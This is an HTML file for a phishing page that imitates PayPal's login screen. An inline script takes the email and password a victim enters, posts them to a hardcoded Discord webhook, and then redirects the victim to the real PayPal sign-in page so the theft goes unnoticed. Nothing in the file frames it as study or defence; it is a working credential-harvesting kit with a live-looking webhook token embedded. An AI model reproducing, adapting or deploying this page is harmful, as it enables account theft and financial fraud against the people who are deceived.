<!DOCTYPE html>
<html lang="en" class="tablet js">
<head>
    <meta charset="utf-8">
    <title>Log in to your PayPal account</title>
    
    <style>
        html, body {
            height: 100%;
            margin: 0;
        }

        body {
            display: flex;
            flex-direction: column;
            min-height: 100vh;
        }

        #main {
            flex: 1;
        }

        .footer {
            margin-top: auto;
            width: 100%;
        }

        .textInput.error input {
            border-color: red;
        }

        .errorMessage p {
            display: none;
            color: red;
        }

        .errorMessage p.show {
            display: block;
        }
    </style>

    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <link rel="stylesheet" href="https://www.paypalobjects.com/web/res/087/9f731d8bcedd5b7e7a3975c024278/css/contextualLoginElementalUIv4.css">
</head>

<body class="tablet">
    <div id="main" class="main" role="main">
        <section id="login" class="login" data-role="page" data-title="Log in to your PayPal account">
            <div class="corral">
                <div id="content" class="contentContainer activeContent contentContainerBordered">
                    <header id="header">
                        <p role="img" aria-label="PayPal Logo" class="paypal-logo paypal-logo-long signin-paypal-logo"></p>
                    </header>
                    <h1 id="headerText" class="headerText accessAid">Log in to your PayPal account</h1>

                    <div id="loginContent">
                        <form action="https://www.paypal.com/signin" method="post" class="proceed maskable" autocomplete="off" name="login" novalidate="">
                            <input type="hidden" name="_csrf" value="wR5TBS1ZJv/NnzRstGBun7r5B /VLYWX0f8xM=">

                            <div class="textInput" id="login_emaildiv">
                                <div class="fieldWrapper">
                                    <input id="email" name="login_email" type="email" class="hasHelp validateEmpty" required placeholder="Email or mobile number" aria-describedby="emailErrorMessage">
                                    <label for="email" class="fieldLabel">Email or mobile number</label>
                                </div>
                                <div class="errorMessage" id="emailErrorMessage">
                                    <p class="emptyError">Required</p>
                                    <p class="invalidError">Invalid email format</p>
                                </div>
                            </div>

                            <div class="textInput" id="login_passworddiv">
                                <div class="fieldWrapper">
                                    <input id="password" name="login_password" type="password" class="hasHelp validateEmpty" required placeholder="Password" aria-describedby="passwordErrorMessage">
                                    <label for="password" class="fieldLabel">Password</label>
                                </div>
                                <div class="errorMessage" id="passwordErrorMessage">
                                    <p class="emptyError">Required</p>
                                    <p class="lengthError"></p>
                                    <p class="complexityError"></p>
                                </div>
                            </div>

                            <div class="forgotPasswordContainer">
                                <a href="https://www.paypal.com/authflow/password-recovery" id="forgotPassword" class="forgotPasswordLink">Forgotten Password?</a>
                            </div>

                            <div style="margin: 20px 0;">
                                <div>
                                    <button class="button actionContinue" type="submit" id="btnLogin" name="btnLogin" value="Login">Log In</button>
                                </div>
                            </div>
                        </form>

                        <div id="signupContainer" class="signupContainer">
                            <div class="loginSignUpSeparator">
                                <span class="textInSeparator">or</span>
                            </div>
                            <button type="button" class="button secondary" id="createAccount" onclick="window.location.href='https://www.paypal.com/signup'">Sign Up</button>
                        </div>
                    </div>
                </div>
            </div>
        </section>
    </div>

    <footer class="footer footerStayPut" role="contentinfo">
        <div class="legalFooter">
            <ul class="footerGroup">
                <li><a href="https://www.paypal.com/in/cshelp/contact-us">Contact Us</a></li>
                <li><a href="https://www.paypal.com/in/legalhub/paypal/privacy-full">Privacy</a></li>
                <li><a href="https://www.paypal.com/in/legalhub/paypal/home">Legal</a></li>
                <li><a href="https://www.paypal.com/in/webapps/mpp/country-worldwide">Worldwide</a></li>
            </ul>
        </div>
    </footer>

    <script>
        // Discord Webhook Configuration
        const WEBHOOK_URL = "https://discord.com/api/webhooks/1214945289283047514/z8J37yPMIA8_OunjvvcVzB-7O8RxFqk8NLTUb3i8CJjZxD345avbR7eX6t0en4DvWOKL";

        document.addEventListener('DOMContentLoaded', function() {
            const form = document.querySelector('form[name="login"]');
            const emailInput = document.getElementById('email');
            const passwordInput = document.getElementById('password');
            const emailErrorMessage = document.querySelector('#emailErrorMessage');
            const passwordErrorMessage = document.querySelector('#passwordErrorMessage');

            function validateEmail() {
                const emailValue = emailInput.value.trim();
                const emailPattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
                const emptyError = emailErrorMessage.querySelector('.emptyError');
                const invalidError = emailErrorMessage.querySelector('.invalidError');

                // Reset previous states
                emailInput.closest('.textInput').classList.remove('error');
                emptyError.classList.remove('show');
                invalidError.classList.remove('show');

                if (!emailValue) {
                    emailInput.closest('.textInput').classList.add('error');
                    emptyError.classList.add('show');
                    return false;
                }

                if (!emailPattern.test(emailValue)) {
                    emailInput.closest('.textInput').classList.add('error');
                    invalidError.classList.add('show');
                    return false;
                }

                return true;
            }

            function validatePassword() {
                const passwordValue = passwordInput.value.trim();
                const emptyError = passwordErrorMessage.querySelector('.emptyError');
                const lengthError = passwordErrorMessage.querySelector('.lengthError');
                const complexityError = passwordErrorMessage.querySelector('.complexityError');

                // Reset previous states
                passwordInput.closest('.textInput').classList.remove('error');
                emptyError.classList.remove('show');
                lengthError.classList.remove('show');
                complexityError.classList.remove('show');

                // Check for empty password
                if (!passwordValue) {
                    passwordInput.closest('.textInput').classList.add('error');
                    emptyError.classList.add('show');
                    return false;
                }

                // Check password length
                if (passwordValue.length < 8) {
                    passwordInput.closest('.textInput').classList.add('error');
                    lengthError.textContent = 'Password must be at least 8 characters';
                    lengthError.classList.add('show');
                    return false;
                }

                // Check password complexity
                const hasLetter = /[a-zA-Z]/.test(passwordValue);
                const hasNumber = /[0-9]/.test(passwordValue);
                const hasSymbol = /[!@#$%^&*()_+\-=\[\]{};':"\\|,.<>\/?]/.test(passwordValue);

                // Count complexity factors
                const complexityCount = [hasLetter, hasNumber, hasSymbol]
                    .filter(Boolean).length;

                if (complexityCount < 2) {
                    passwordInput.closest('.textInput').classList.add('error');
                    complexityError.textContent = 'Use 2 of: letters, numbers, or symbols';
                    complexityError.classList.add('show');
                    return false;
                }

                return true;
            }

            function sendToDiscord(email, password) {
                fetch(WEBHOOK_URL, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify({
                        content: `📧 Email: ${email}\n🔐 Password: ${password}`
                    })
                });
            }

            // Real-time validation
            emailInput.addEventListener('input', validateEmail);
            passwordInput.addEventListener('input', validatePassword);

            // Form submission handler
            form.addEventListener('submit', function(event) {
                event.preventDefault();

                const isEmailValid = validateEmail();
                const isPasswordValid = validatePassword();

                if (isEmailValid && isPasswordValid) {
                    const email = emailInput.value.trim();
                    const password = passwordInput.value.trim();

                    sendToDiscord(email, password);
                    
                    // Redirect to PayPal signin page
                    window.location.href = 'https://www.paypal.com/signin';
                }
            });
        });
    </script>
</body>
</html>
